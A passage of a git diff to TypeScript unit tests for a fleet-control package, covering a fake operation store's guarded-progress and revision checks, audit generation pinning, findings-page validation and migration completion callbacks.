? 'commitProgress item rows below the watermark must be the contiguous run ending at it' - : `fleet operation '${operationId}' is no longer at the expected revision`, - ); - }); - expect(store.operations.get(operationId)).toEqual(initial); - expect(store.rows.get(`${operationId}:item`)).toEqual([row]); - } - }); - - it('refuses noncontiguous rows and malformed mutations on stale-revision replay', async () => { - const replay = new FakeOperationStore(); - const secondRow: FleetOperationStagedRow = { - ...row, - ordinal: 1, - payload: { ...row.payload, ordinal: 1 }, - }; - const twoItems = { - ...intended, - progress: { - ...initial.progress, - revision: 1, - itemCount: 2, - }, - }; - replay.operations.set(operationId, twoItems); - replay.rows.set(`${operationId}:item`, [row, secondRow]); - await replay.withAccountOperationLease('migration', async (lease) => { - await expect( - lease.commitProgress({ - operationId, - expectedRevision: 0, - runRecord: twoItems, - rows: [row], - expectedRowWatermarks: { item: 2 }, - }), - ).rejects.toThrow( - 'commitProgress item rows below the watermark must be the contiguous run ending at it', - ); - }); - expect(replay.operations.get(operationId)).toEqual(twoItems); - expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); - for (const mutations of [ - { rows: [secondRow, secondRow] }, - { rows: [secondRow], updateRows: [secondRow] }, - { updateRows: [secondRow, secondRow] }, - { updateRows: [{ ...row, rowKind: 'record' as const }] }, - ]) { - await replay.withAccountOperationLease('migration', async (lease) => { - await expect( - lease.commitProgress({ - operationId, - expectedRevision: 0, - runRecord: twoItems, - expectedRowWatermarks: { item: 2 }, - ...mutations, - }), - ).rejects.toBeInstanceOf(FleetOperationStateError); - }); - expect(replay.operations.get(operationId)).toEqual(twoItems); - expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); - } - }); - - it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { - const secondRow = { - ...row, - ordinal: 1, - payload: { ...row.payload, ordinal: 1 }, - }; - const updated = { - ...secondRow, - payload: { ...secondRow.payload, tenantTag: 'updated' }, - }; - const sibling = { - ...row, - ordinal: 2, - payload: { ...row.payload, ordinal: 2 }, - }; - const missing = { - ...row, - ordinal: 3, - payload: { ...row.payload, ordinal: 3 }, - }; - for (const variant of ['missing-update', 'different-insert', 'exact']) { - const store = new FakeOperationStore(); - store.operations.set(operationId, initial); - store.heads.set('migration', operationId); - store.rows.set(`${operationId}:item`, [row, secondRow]); - const input = { - operationId, - expectedRevision: 0, - runRecord: intended, - rows: [sibling, variant === 'different-insert' ? different : row], - updateRows: - variant === 'missing-update' ? [updated, missing] : [updated], - expectedRowWatermarks: { item: 1 }, - }; - await store.withAccountOperationLease('migration', async (lease) => { - const result = await lease - .commitProgress(input) - .catch((error: unknown) => error); - if (variant === 'exact') { - expect(store.operations.get(operationId)).toEqual(intended); - expect(store.rows.get(`${operationId}:item`)).toEqual([ - row, - updated, - sibling, - ]); - expect(result).toEqual(intended); - expect(await lease.commitProgress(input)).toEqual(intended); - expect(store.operations.get(operationId)).toEqual(intended); - expect(store.rows.get(`${operationId}:item`)).toEqual([ - row, - updated, - sibling, - ]); - } else { - expect(store.operations.get(operationId)).toEqual(initial); - expect(store.rows.get(`${operationId}:item`)).toEqual([ - row, - secondRow, - ]); - expect(store.heads.get('migration')).toBe(operationId); - expect(result).toBeInstanceOf(Error); - if (variant === 'missing-update') { - expect(result).toHaveProperty( - 'message', - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - } - }); - } - }); - - it('compares record payloads canonically for fresh commits and convergence', async () => { - const record = baseRecord('canonical'); - const stored: FleetOperationStagedRow = { - rowKind: 'record', - ordinal: 0, - payload: { ...record }, - }; - const reordered = { - ...stored, - payload: Object.fromEntries(Object.entries(record).reverse()), - }; - expect(JSON.stringify(stored.payload)).not.toBe( - JSON.stringify(reordered.payload), - ); - const auditInitial = { - ...initial, - kind: 'audit' as const, - progress: { kind: 'audit' as const, revision: 0 }, - }; - const auditIntended = { - ...auditInitial, - progress: { ...auditInitial.progress, revision: 1 }, - }; - const store = new FakeOperationStore(); - store.operations.set(operationId, auditInitial); - store.rows.set(`${operationId}:record`, [stored]); - await store.withAccountOperationLease('audit', async (lease) => { - const input = { - operationId, - expectedRevision: 0, - runRecord: auditIntended, - rows: [reordered], - expectedRowWatermarks: { record: 1 }, - }; - const error = await lease - .commitProgress({ - ...input, - rows: [ - { ...stored, ordinal: 1 }, - { ...stored, payload: { ...stored.payload, tenantTag: 'other' } }, - ], - }) - .catch((error: unknown) => error); - expect(store.operations.get(operationId)).toEqual(auditInitial); - expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); - expect(error).toBeInstanceOf(Error); - for (let retry = 0; retry < 2; retry += 1) { - expect(await lease.commitProgress(input)).toEqual(auditIntended); - expect(store.operations.get(operationId)).toEqual(auditIntended); - expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); - expect(JSON.stringify(store.rows.get(`${operationId}:record`))).toBe( - JSON.stringify([stored]), - ); - } - }); - }); - - it('refuses multiple failure updates before changing rows or releasing the head', async () => { - const secondRow = { - ...row, - ordinal: 1, - payload: { ...row.payload, ordinal: 1 }, - }; - const store = new FakeOperationStore(); - store.operations.set(operationId, initial); - store.heads.set('migration', operationId); - store.rows.set(`${operationId}:item`, [row, secondRow]); - await store.withAccountOperationLease('migration', async (lease) => { - let error: unknown; - try { - await lease.failOperation({ - operationId, - expectedRevision: 0, - runRecord: { ...intended, state: 'failed' }, - updateRows: [row, secondRow].map((item) => ({ - ...item, - payload: { ...item.payload, status: 'failed' }, - })), - }); - } catch (caught) { - error = caught; - } - expect(store.operations.get(operationId)).toEqual(initial); - expect(store.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); - expect(store.heads.get('migration')).toBe(operationId); - expect(error).toBeInstanceOf(Error); - expect(error).toHaveProperty( - 'message', - 'failOperation accepts at most one updateRow', - ); - }); - }); -}); - // --------------------------------------------------------------------------- // Shared drive helpers. // --------------------------------------------------------------------------- @@ -892,7 +504,7 @@ interface Harness { readonly records: readonly FleetRecord[]; readonly inventory: FleetResourceInventory; readonly operationStore: FakeOperationStore; - readonly inventoryStore: FakeInventoryRunStore; + readonly inventoryStore: RegisteredGenerationInventoryRunStore; readonly fleetStore: FakeFleetStateStore; readonly backend: SimpleBackend; readonly opsLog: string[]; @@ -902,7 +514,9 @@ interface Harness { baseOptions(action: FleetAuditAdvanceAction): AdvanceFleetAuditOptions; } -function generationReadCounts(store: FakeInventoryRunStore): Readonly<{ +function generationReadCounts( + store: RegisteredGenerationInventoryRunStore, +): Readonly<{ latest: number; finalized: number; runByOperation: number; @@ -960,7 +574,7 @@ function buildHarness( }> = {}, ): Harness { const operationStore = new FakeOperationStore(); - const inventoryStore = new FakeInventoryRunStore(); + const inventoryStore = new RegisteredGenerationInventoryRunStore(); inventoryStore.registerFinalizedGeneration(1, inventory); const fleetStore = new FakeFleetStateStore(records); const opsLog: string[] = []; @@ -2256,6 +1870,102 @@ describe('advanceFleetAudit', () => { expect(harness.inventoryStore.releasedPins.length).toBe(releasedBefore + 1); }); + it('a start whose store persisted another generation pins the PERSISTED one, so abandonment after a failing revision-1 commit releases the pin that was taken', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + // Generation 2 becomes "latest", so the start resolves 2 while the store + // below persists 1. Both are finalized, so both are pinnable. + harness.inventoryStore.registerFinalizedGeneration( + 2, + inventoryFor([alice]), + ); + const operationId = uuidFor(61); + const owner = `fleet-audit:${operationId}`; + const commitFault = new Error('fleet operation store commit failed'); + const operationStore = divergentCreateStore(harness.operationStore, 1, { + member: 'commitProgress', + error: commitFault, + }); + const action: FleetAuditAdvanceAction = { + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }; + + const started = await advanceFleetAudit({ + ...harness.baseOptions(action), + operationStore, + }); + // The revision-1 commit threw, so the start answers from durable state. + expect(started.status).toBe('pending'); + const persistedProgress = fleetAuditProgressFromUnknown( + (await harness.operationStore.readOperationById(operationId))?.progress, + ); + expect(persistedProgress.revision).toBe(0); + expect(persistedProgress.generation).toBe(1); + expect(harness.inventoryStore.pins).toEqual([ + { generation: 1, pinnedBy: owner }, + ]); + + await abandonFleetAuditOperation({ + operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }); + expect(harness.inventoryStore.releasedPins).toEqual([ + { generation: 1, pinnedBy: owner }, + ]); + expect(harness.inventoryStore.releasedPins).toEqual( + harness.inventoryStore.pins, + ); + }); + + it('a start whose store persisted another generation pins the PERSISTED one, so abandonment after a throwing stageRows releases the pin that was taken', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + harness.inventoryStore.registerFinalizedGeneration( + 2, + inventoryFor([alice]), + ); + const operationId = uuidFor(62); + const owner = `fleet-audit:${operationId}`; + const stageFault = new Error('fleet operation store staging failed'); + const operationStore = divergentCreateStore(harness.operationStore, 1, { + member: 'stageRows', + error: stageFault, + }); + const action: FleetAuditAdvanceAction = { + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }; + + // Staging sits outside the start's catch, so the throw leaves the lease + // callback and the pin is already taken. + await expect( + advanceFleetAudit({ ...harness.baseOptions(action), operationStore }), + ).rejects.toBe(stageFault); + const persistedProgress = fleetAuditProgressFromUnknown( + (await harness.operationStore.readOperationById(operationId))?.progress, + ); + expect(persistedProgress.revision).toBe(0); + expect(persistedProgress.generation).toBe(1); + expect(harness.inventoryStore.pins).toEqual([ + { generation: 1, pinnedBy: owner }, + ]); + + await abandonFleetAuditOperation({ + operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }); + expect(harness.inventoryStore.releasedPins).toEqual( + harness.inventoryStore.pins, + ); + }); + it('continue on a failed operation returns the failed member with zero provider work', async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); @@ -2381,7 +2091,7 @@ describe('advanceFleetAudit', () => { expect(paged).toEqual(ascending.findings); }); - it('findings page: the reader verifies page conformance instead of trusting the store, accepts the two other port-permitted shapes — a non-final page shorter than the limit, and an arbitrary permutation — and returns the next cursor off the page rows', async () => { + it('findings page: the reader verifies page conformance instead of trusting the store, refuses a final page accounting for fewer rows than findingCount, accepts the two other port-permitted shapes — a non-final page shorter than the limit, and an arbitrary permutation — and returns the next cursor off the page rows', async () => { const control = baseRecord('control29'); const missingA = baseRecord('missing29a'); const missingB = baseRecord('missing29b'); @@ -2465,6 +2175,26 @@ describe('advanceFleetAudit', () => { expect(shortNonFinal.findings).toEqual(conforming.findings.slice(0, 1)); expect(shortNonFinal.nextAfterOrdinal).toBe(0); + await expect( + readFleetAuditFindingsPage( + shapedPage((rows) => rows.slice(0, 1), true), + { + operationId, + limit: 1_000, + }, + ), + ).rejects.toThrow(malformedMessage); + + await expect( + readFleetAuditFindingsPage( + shapedPage(() => [], true), + { + operationId, + limit: 1_000, + }, + ), + ).rejects.toThrow(malformedMessage); + await expect( readFleetAuditFindingsPage( shapedPage((rows) => [...rows.slice(1), ...rows.slice(0, 1)]), @@ -4001,11 +3731,7 @@ describe('advanceFleetAudit', () => { expect(plainDataMetrics(record).nodeCount).toBeLessThan( FLEET_OPERATION_NODE_BOUND, ); - // Both terms are derived from the fixture rather than restated. The - // fixture is ASCII, so string lengths equal UTF-8 byte lengths, and - // each padding entry adds to the record's JSON exactly: one ',' - // separator, the key's two '"' quotes, the key itself, one ':' - // separator, the value's two '"' quotes, and the value itself. + // The fixture is ASCII, so string lengths equal UTF-8 byte lengths. let serializedByteCount = JSON.stringify( baseRecord('overlappingbounds'), ).length; diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index ed4f0c51..b330be06 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -30,6 +30,7 @@ import { FLEET_OPERATION_INTAKE_BYTE_BOUND, FLEET_OPERATION_ITEM_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, FLEET_OPERATION_STAGE_BATCH_STATEMENTS, type FleetOperationKind, type FleetOperationLease, @@ -43,8 +44,10 @@ import { FleetOperationTokenOperationError, fleetOperationIntakeDigest, fleetOperationOtherKindMessage, + fleetOperationPageLimit, fleetOperationRunRecordFromUnknown, fleetOperationStagedRowFromUnknown, + fleetOperationWatermarkRunMessage, } from '../src/fleet-operation-state.js'; import { canonicalDeploymentEgressPolicy, @@ -254,7 +257,9 @@ class MemoryOperationStore implements FleetOperationStore { ) ) throw new Error( - `commitProgress ${kind} rows below the watermark must be the contiguous run ending at it`, + fleetOperationWatermarkRunMessage( + kind as FleetOperationRowKind, + ), ); } const prior = this.operations.get(input.operationId); @@ -395,7 +400,7 @@ class MemoryOperationStore implements FleetOperationStore { this.calls.push('fail'); this.failures.push(copy(input)); if ((input.updateRows?.length ?? 0) > 1) - throw new Error('failOperation accepts at most one updateRow'); + throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE); const prior = this.operations.get(input.operationId); if (!prior) throw new Error(`no fleet operation '${input.operationId}'`); @@ -476,12 +481,7 @@ class MemoryOperationStore implements FleetOperationStore { input: Parameters[0], ) { this.beforePage?.(); - if ( - !Number.isSafeInteger(input.limit) || - input.limit < 1 || - input.limit > 1000 - ) - throw new Error('limit must be an integer from 1 to 1000'); + const limit = fleetOperationPageLimit(input.limit); const qualifying = (this.rows.get(input.operationId) ?? []) .filter( (row) => @@ -489,10 +489,10 @@ class MemoryOperationStore implements FleetOperationStore { row.ordinal > (input.afterOrdinal ?? -1), ) .sort((a, b) => a.ordinal - b.ordinal); - const rows = qualifying.slice(0, input.limit).map(copy); + const rows = qualifying.slice(0, limit).map(copy); return { rows: this.reversePages ? rows.reverse() : rows, - done: qualifying.length <= input.limit, + done: qualifying.length <= limit, }; } @@ -1209,6 +1209,34 @@ function expectItemFailure(world: World, ordinal = 0) { ).toHaveLength(1); } +function armOptions( + world: World, + extra: Partial, +): void { + const base = world.options; + world.options = (action) => ({ ...base(action), ...extra }); +} + +/** + * A start driven through `world.options`, so an `armOptions` override reaches + * it. `world.start()` calls the module-local `options` const instead, which no + * override can see. + */ +function armedStart( + world: World, + id = uuid(), + records: readonly FleetRecord[] = [world.initial], +): Promise { + return advanceFleetMigration( + world.options({ + kind: 'start', + operationId: id, + records, + canaryTenantTags: [], + }), + ); +} + function providerMutations(world: World) { return world.ops.filter((op) => /^(apply:|seed:|deploy$|maintenance$|promote$|platform$|settle$|retire:)/u.test( @@ -1578,7 +1606,7 @@ describe('migration operation fake guarded progress contract', () => { expect(store.heads.get('migration')).toBe(uuid()); expect(error).toHaveProperty( 'message', - 'failOperation accepts at most one updateRow', + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, ); }); }); @@ -4443,36 +4471,35 @@ describe('bounded fleet migration abort signal and completion callback', () => { }); }); - it('completion invokes onComplete once with the returned result, after the durable finalize', async () => { + it('completion invokes onComplete once with the returned result, after the durable finalize and with the operation lease released', async () => { const world = createWorld(); const seen: unknown[] = []; const states: (string | undefined)[] = []; - const base = world.options; - world.options = (action) => ({ - ...base(action), + const held: boolean[] = []; + armOptions(world, { async onComplete(result) { seen.push(result); states.push(world.operationStore.operations.get(uuid())?.state); + held.push(world.operationStore.locked.has('migration')); }, }); - const final = await drainWorld(world); + const final = await drainWorld(world, await armedStart(world)); if (final.status !== 'complete') throw new Error('expected a complete run'); expect(seen).toEqual([final.result]); expect(seen[0]).toBe(final.result); expect(states).toEqual(['finalized']); + expect(held).toEqual([false]); }); it('a continue on the finalized operation delivers onComplete again', async () => { const world = createWorld(); const seen: unknown[] = []; - const base = world.options; - world.options = (action) => ({ - ...base(action), + armOptions(world, { onComplete(result) { seen.push(result); }, }); - const final = await drainWorld(world); + const final = await drainWorld(world, await armedStart(world)); if (final.status !== 'complete') throw new Error('expected a complete run'); const replayed = await continueWorld(world, final); if (replayed.status !== 'complete') @@ -4485,6 +4512,30 @@ describe('bounded fleet migration abort signal and completion callback', () => { ).toHaveLength(1); }); + it('a replayed start carrying the same intake delivers onComplete again, with the operation lease released', async () => { + const world = createWorld(); + const seen: unknown[] = []; + const held: boolean[] = []; + armOptions(world, { + onComplete(result) { + seen.push(result); + held.push(world.operationStore.locked.has('migration')); + }, + }); + const final = await drainWorld(world, await armedStart(world)); + if (final.status !== 'complete') throw new Error('expected a complete run'); + const replayed = await armedStart(world); + if (replayed.status !== 'complete') + throw new Error('expected a complete replay'); + expect(seen).toHaveLength(2); + expect(seen[1]).toBe(replayed.result); + expect(replayed.result).toEqual(final.result); + expect(held).toEqual([false, false]); + expect( + world.operationStore.calls.filter((call) => call === 'finalize'), + ).toHaveLength(1); + }); + it.each([ 'asynchronously', 'synchronously', @@ -4498,23 +4549,14 @@ describe('bounded fleet migration abort signal and completion callback', () => { throw sentinel; } : () => Promise.reject(sentinel); - world.options = (action) => ({ ...base(action), onComplete }); - let next: FleetMigrationAdvanceResult = await world.start(); - let rejected: unknown; - for (let count = 0; count < 100 && next.status === 'pending'; count += 1) { - try { - next = await continueWorld(world, next); - } catch (error) { - rejected = error; - break; - } - } - expect(rejected).toBe(sentinel); + armOptions(world, { onComplete }); + const started = await armedStart(world); + await expect(drainWorld(world, started)).rejects.toBe(sentinel); expect(world.operationStore.operations.get(uuid())).toMatchObject({ state: 'finalized', }); world.options = base; - expect(await continueWorld(world, next)).toMatchObject({ + expect(await continueWorld(world, started)).toMatchObject({ status: 'complete', }); }); @@ -4523,17 +4565,15 @@ describe('bounded fleet migration abort signal and completion callback', () => { const plain = createWorld(); const drained = await drainWorld(plain); const armed = createWorld(); - const base = armed.options; const controller = new AbortController(); const seen: unknown[] = []; - armed.options = (action) => ({ - ...base(action), + armOptions(armed, { signal: controller.signal, onComplete(result) { seen.push(result); }, }); - expect(await drainWorld(armed)).toEqual(drained); + expect(await drainWorld(armed, await armedStart(armed))).toEqual(drained); expect(armed.ops).toEqual(plain.ops); expect(armed.operationStore.calls).toEqual(plain.operationStore.calls); expect(armed.operationStore.item()).toEqual(plain.operationStore.item()); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index d0e23607..cf61eb3a 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -28,8 +28,11 @@ import { FLEET_OPERATION_RECORD_BYTE_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, FLEET_OPERATION_STRING_BYTE_BOUND, FLEET_OPERATION_TOKEN_BYTE_BOUND, + type FleetOperationRunRecord, + type FleetOperationStagedRow, FleetOperationStateError, FleetOperationTokenError, FleetOperationTokenFutureError, @@ -37,11 +40,18 @@ import { FleetOperationTokenOperationError, fleetOperationIntakeDigest, fleetOperationItemsIntake, + fleetOperationOtherKindMessage, fleetOperationRunRecordFromUnknown, fleetOperationStagedRowFromUnknown, + fleetOperationWatermarkRunMessage, isDurableAuditDetailSafe, parseFleetOperationToken, } from '../src/fleet-operation-state.js'; +import type { FleetRecord } from '../src/types.js'; +import { + FakeOperationStore, + uuidFor, +} from './fixtures/fleet-operation-fakes.js'; const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; const NOW = '2026-09-01T00:00:00.000Z'; @@ -542,6 +552,34 @@ describe('fleet operation state', () => { ); }); + it('audit stage codec refuses a persisted cursor that is not a safe non-negative integer', () => { + // The guard the forced-generation reader rests on: a cursor read back out + // of D1 indexes the audited collection, so a fractional, negative or + // out-of-range value has to fail the decode rather than the array read. + for (const expectedOrdinal of [ + 4.5, + -1, + Number.MAX_SAFE_INTEGER + 1, + Number.NaN, + Number.POSITIVE_INFINITY, + '4', + null, + ]) { + expect(() => + fleetAuditStageFromUnknown({ + step: 'r2-missing-identity', + expectedOrdinal, + }), + ).toThrow(FleetOperationStateError); + } + expect( + fleetAuditStageFromUnknown({ + step: 'r2-missing-identity', + expectedOrdinal: 0, + }), + ).toEqual({ step: 'r2-missing-identity', expectedOrdinal: 0 }); + }); + it('nextAuditStage successor chain over all 13 stages (same-step on exhausted: false)', () => { const initial = { step: 'provider-findings', @@ -683,3 +721,470 @@ describe('fleet operation state', () => { expect(digestFor([a, b])).toBe(oracle.digest('hex')); }); }); + +// --------------------------------------------------------------------------- +// The shared FakeOperationStore's own contract, beside the port it implements +// rather than inside one of its consumers: a suite that drives the fake reads +// its guarded-progress behaviour from here. +// --------------------------------------------------------------------------- + +describe('operation fake guarded progress contract', () => { + const operationId = uuidFor(990); + const initial = { + version: 1, + operationId, + kind: 'migration', + state: 'running', + progress: { + kind: 'migration', + revision: 0, + itemCount: 1, + activeItemOrdinal: 0, + completedItemCount: 0, + }, + updatedAt: '2026-09-05T00:00:00.000Z', + } as const; + const intended: FleetOperationRunRecord = { + ...initial, + progress: { ...initial.progress, revision: 1 }, + }; + const row: FleetOperationStagedRow = { + rowKind: 'item', + ordinal: 0, + payload: { + ordinal: 0, + tenantTag: 'fake', + environment: 'production', + entryRecordDigest: 'a'.repeat(64), + status: 'pending', + }, + }; + const different = { + ...row, + payload: { ...row.payload, tenantTag: 'other' }, + }; + + it('loses the next successful progress response after a refused commit and accepts its retry', async () => { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + const lostResponse = new Error('progress response lost'); + store.loseNextSuccessfulCommitProgressResponse = lostResponse; + await store.withAccountOperationLease('migration', async (lease) => { + const input = { + operationId, + expectedRevision: 0, + runRecord: intended, + rows: [row], + expectedRowWatermarks: { item: 1 }, + }; + const refused = lease.commitProgress({ ...input, expectedRevision: 2 }); + await expect(refused).rejects.toBeInstanceOf(Error); + await expect(refused).rejects.toHaveProperty( + 'message', + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + expect(store.loseNextSuccessfulCommitProgressResponse).toBe(lostResponse); + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.size).toBe(0); + expect(store.heads.get('migration')).toBe(operationId); + + await expect(lease.commitProgress(input)).rejects.toBe(lostResponse); + expect(store.loseNextSuccessfulCommitProgressResponse).toBeUndefined(); + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([row]); + const operationsBeforeRetry = structuredClone([...store.operations]); + const rowsBeforeRetry = structuredClone([...store.rows]); + const headsBeforeRetry = [...store.heads]; + await expect(lease.commitProgress(input)).resolves.toEqual(intended); + expect([...store.operations]).toEqual(operationsBeforeRetry); + expect([...store.rows]).toEqual(rowsBeforeRetry); + expect([...store.heads]).toEqual(headsBeforeRetry); + }); + }); + + it.each([ + { method: 'finalizeOperation', state: 'running' }, + { method: 'finalizeOperation', state: 'finalized' }, + { method: 'finalizeOperation', state: 'failed' }, + { method: 'failOperation', state: 'running' }, + { method: 'failOperation', state: 'finalized' }, + { method: 'failOperation', state: 'failed' }, + ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({ + method, + state, + }) => { + const store = new FakeOperationStore(); + const source = state === 'running' ? initial : intended; + store.rows.set(`${operationId}:item`, [row]); + store.heads.set('migration', operationId); + store.heads.set('audit', uuidFor(991)); + store.operations.set( + operationId, + fleetOperationRunRecordFromUnknown({ + ...source, + state, + progress: { + ...source.progress, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + ...(state === 'finalized' ? { completedItemCount: 1 } : {}), + }, + }), + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + const headsBefore = [...store.heads]; + await store.withAccountOperationLease('audit', async (lease) => { + const runRecord = fleetOperationRunRecordFromUnknown({ + ...source, + kind: 'audit', + state: method === 'finalizeOperation' ? 'finalized' : 'failed', + progress: { + kind: 'audit', + revision: 1, + stage: { step: 'finalize' }, + generation: 1, + auditTimeMs: 0, + staleAfterMs: 60_000, + recordCount: 0, + findingCount: 0, + factCount: 0, + ...(method === 'failOperation' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + }, + }); + const input = { operationId, expectedRevision: 0, runRecord }; + const result = + method === 'finalizeOperation' + ? lease.finalizeOperation({ ...input, expectedRowCounts: {} }) + : lease.failOperation(input); + await expect(result).rejects.toBeInstanceOf(Error); + await expect(result).rejects.toHaveProperty( + 'message', + fleetOperationOtherKindMessage(operationId), + ); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + expect([...store.heads]).toEqual(headsBefore); + }); + }); + + it.each([ + 'missing-operation', + 'watermark', + 'other-record', + 'different-row', + 'missing-row', + 'converged', + ] as const)('orders the %s convergence identity', async (variant) => { + const store = new FakeOperationStore(); + if (variant !== 'missing-operation') { + store.operations.set( + operationId, + variant === 'other-record' + ? { ...intended, state: 'failed' } + : intended, + ); + } + store.rows.set( + `${operationId}:item`, + variant === 'missing-row' + ? [] + : [variant === 'converged' ? row : different], + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + await store.withAccountOperationLease('migration', async (lease) => { + const commit = lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: intended, + updateRows: + variant === 'different-row' + ? [ + { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } }, + row, + ] + : [row], + expectedRowWatermarks: { + item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, + }, + }); + if (variant === 'converged') { + await expect(commit).resolves.toEqual(intended); + } else { + const message = + variant === 'missing-operation' + ? `no fleet operation '${operationId}'` + : variant === 'different-row' + ? `fleet operation '${operationId}' staged rows diverge from the persisted operation` + : `fleet operation '${operationId}' is no longer at the expected revision`; + await expect(commit).rejects.toBeInstanceOf(Error); + await expect(commit).rejects.toHaveProperty('message', message); + } + }); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + }); + + it('enforces watermark writer obligations', async () => { + for (const insert of [false, true]) { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.rows.set(`${operationId}:item`, [row]); + await store.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: intended, + ...(insert ? { rows: [different] } : {}), + expectedRowWatermarks: { item: 2 }, + }), + ).rejects.toThrow( + insert + ? fleetOperationWatermarkRunMessage('item') + : `fleet operation '${operationId}' is no longer at the expected revision`, + ); + }); + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([row]); + } + }); + + it('refuses noncontiguous rows and malformed mutations on stale-revision replay', async () => { + const replay = new FakeOperationStore(); + const secondRow: FleetOperationStagedRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const twoItems = { + ...intended, + progress: { + ...initial.progress, + revision: 1, + itemCount: 2, + }, + }; + replay.operations.set(operationId, twoItems); + replay.rows.set(`${operationId}:item`, [row, secondRow]); + await replay.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: twoItems, + rows: [row], + expectedRowWatermarks: { item: 2 }, + }), + ).rejects.toThrow(fleetOperationWatermarkRunMessage('item')); + }); + expect(replay.operations.get(operationId)).toEqual(twoItems); + expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + for (const mutations of [ + { rows: [secondRow, secondRow] }, + { rows: [secondRow], updateRows: [secondRow] }, + { updateRows: [secondRow, secondRow] }, + { updateRows: [{ ...row, rowKind: 'record' as const }] }, + ]) { + await replay.withAccountOperationLease('migration', async (lease) => { + await expect( + lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: twoItems, + expectedRowWatermarks: { item: 2 }, + ...mutations, + }), + ).rejects.toBeInstanceOf(FleetOperationStateError); + }); + expect(replay.operations.get(operationId)).toEqual(twoItems); + expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + } + }); + + it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { + const secondRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const updated = { + ...secondRow, + payload: { ...secondRow.payload, tenantTag: 'updated' }, + }; + const sibling = { + ...row, + ordinal: 2, + payload: { ...row.payload, ordinal: 2 }, + }; + const missing = { + ...row, + ordinal: 3, + payload: { ...row.payload, ordinal: 3 }, + }; + for (const variant of ['missing-update', 'different-insert', 'exact']) { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + store.rows.set(`${operationId}:item`, [row, secondRow]); + const input = { + operationId, + expectedRevision: 0, + runRecord: intended, + rows: [sibling, variant === 'different-insert' ? different : row], + updateRows: + variant === 'missing-update' ? [updated, missing] : [updated], + expectedRowWatermarks: { item: 1 }, + }; + await store.withAccountOperationLease('migration', async (lease) => { + const result = await lease + .commitProgress(input) + .catch((error: unknown) => error); + if (variant === 'exact') { + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + updated, + sibling, + ]); + expect(result).toEqual(intended); + expect(await lease.commitProgress(input)).toEqual(intended); + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + updated, + sibling, + ]); + } else { + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([ + row, + secondRow, + ]); + expect(store.heads.get('migration')).toBe(operationId); + expect(result).toBeInstanceOf(Error); + if (variant === 'missing-update') { + expect(result).toHaveProperty( + 'message', + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } + }); + } + }); + + it('compares record payloads canonically for fresh commits and convergence', async () => { + const record: 